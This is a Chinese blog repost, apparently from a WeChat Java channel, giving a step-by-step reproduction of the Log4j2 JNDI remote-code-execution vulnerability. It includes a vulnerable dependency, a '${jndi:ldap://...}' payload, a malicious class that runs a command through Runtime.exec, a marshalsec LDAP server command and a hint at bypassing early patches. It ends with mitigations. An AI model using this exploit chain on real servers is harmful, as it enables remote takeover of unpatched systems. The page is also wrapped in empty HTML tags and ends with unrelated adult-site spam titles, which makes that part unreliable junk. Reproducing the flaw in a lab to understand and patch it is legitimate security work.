<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          手把手教你復現(xiàn) Log4j2 漏洞,千萬別中招!

          2022-01-04 21:31

          點擊上方“Java技術江湖”,選擇“設為星標

          回復”666“獲取全網最熱的Java核心知識點整理


          0x00 簡介


          Apache Log4j2 是一個開源的 Java 日志框架,被廣泛地應用在中間件、開發(fā)框架與 Web 應用中。


          0x01 漏洞概述


          該漏洞是由于Apache Log4j2 某些功能存在遞歸解析功能,未經身份驗證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標服務器上執(zhí)行任意代碼。


          0x02 影響范圍


          Apache Log4j 2.x <= 2.15.0-rc1


          0x03 環(huán)境搭建


          1、創(chuàng)建一個新的maven項目,并導入 Log4j 的依賴包


          <dependency>????<groupId>org.apache.logging.log4jgroupId>????<artifactId>log4j-coreartifactId>????<version>2.14.1version>dependency>

          8f779b0667dba573ee988922222e1871.webp


          0x04 漏洞測試


          1、使用 POC 測試


          import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest {    public static final Logger logger = LogManager.getLogger();    public static void main(String[] args) {        logger.error("${jndi:ldap://localhost:8888/Exploit}");    }}


          2、編譯一個惡意類 Exploit.class


          首先,新建 exp.java,然后編譯為 class 文件。


          class Exploit {    static {        System.err.println("Pwned");        try {            String cmds = "calc";            Runtime.getRuntime().exec(cmds);        } catch ( Exception e ) {            e.printStackTrace();        }    }}


          執(zhí)行:


          javac exp.java


          0903f1dd1dfe3cb05d2bc1cd324444a7.webp


          3、使用 marshalsec-0.0.3-SNAPSHOT-all.jar 本地開啟一個 LDAP 服務


          java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888

          4、運行 poc.java,即可訪問惡意類并執(zhí)行寫在其中的 "calc" 命令


          6086b0f9c93af41026f4176b4d54a9da.webp


          結合一些其它 StrLookup 適當變形,以及配合官方測試用例中臟數(shù)據(jù) `"?Type=A Type&Name=1100110&Char=!"` 可繞過 RC1、RC2版本 對此異常進行了捕獲。


          https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2


          ?0x05 修復方式?


          目前,Apache官方已發(fā)布新版本完成漏洞修復,建議用戶盡快進行自查并及時升級至最新版本。


          https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


          建議同時采用如下臨時措施進行漏洞防范:


          1. 添加 JVM 啟動參數(shù) -Dlog4j2.formatMsgNoLookups=true;

          2. 在應用 classpath 下添加 log4j2.component.properties 配置文件,文件內容為 log4j2.formatMsgNoLookups=true;

          3. 使用 JDK 11.0.1、8u191、7u201、6u211 及以上的高版本;

          4. 部署使用第三方防火墻產品進行安全防護。

          轉自:daxi0ng,

          鏈接:blog.csdn.net/qq_40989258/article/details/121862363

          f80c1e6bab150c233346dbc863d2cfb9.webp

          干掉Random:這個類已經成為獲取隨機數(shù)的王者


          cceeda7d4c3a52f336aae4f4c32e616e.webp

          Intellij IDEA 神級插件!效率提升 10 倍!


          5963f309272d6bc09c03f3e449858c0d.webp

          Spring Boot + MyBatis + MySQL 實現(xiàn)讀寫分離!

          關注公眾號【Java技術江湖】后回復“PDF”即可領取200+頁的《Java工程師面試指南》

          強烈推薦,幾乎涵蓋所有Java工程師必知必會的知識點,不管是復習還是面試,都很實用。



          40391cb205c2032175ba589b8c3a053c.webp

          瀏覽 89
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  麻豆国产成人AV一区二区三区 | 综合五月丁香视频 | 欧美内射视频网站 | 日本大片免费观看18勿进 | 欧美A片免费观看 |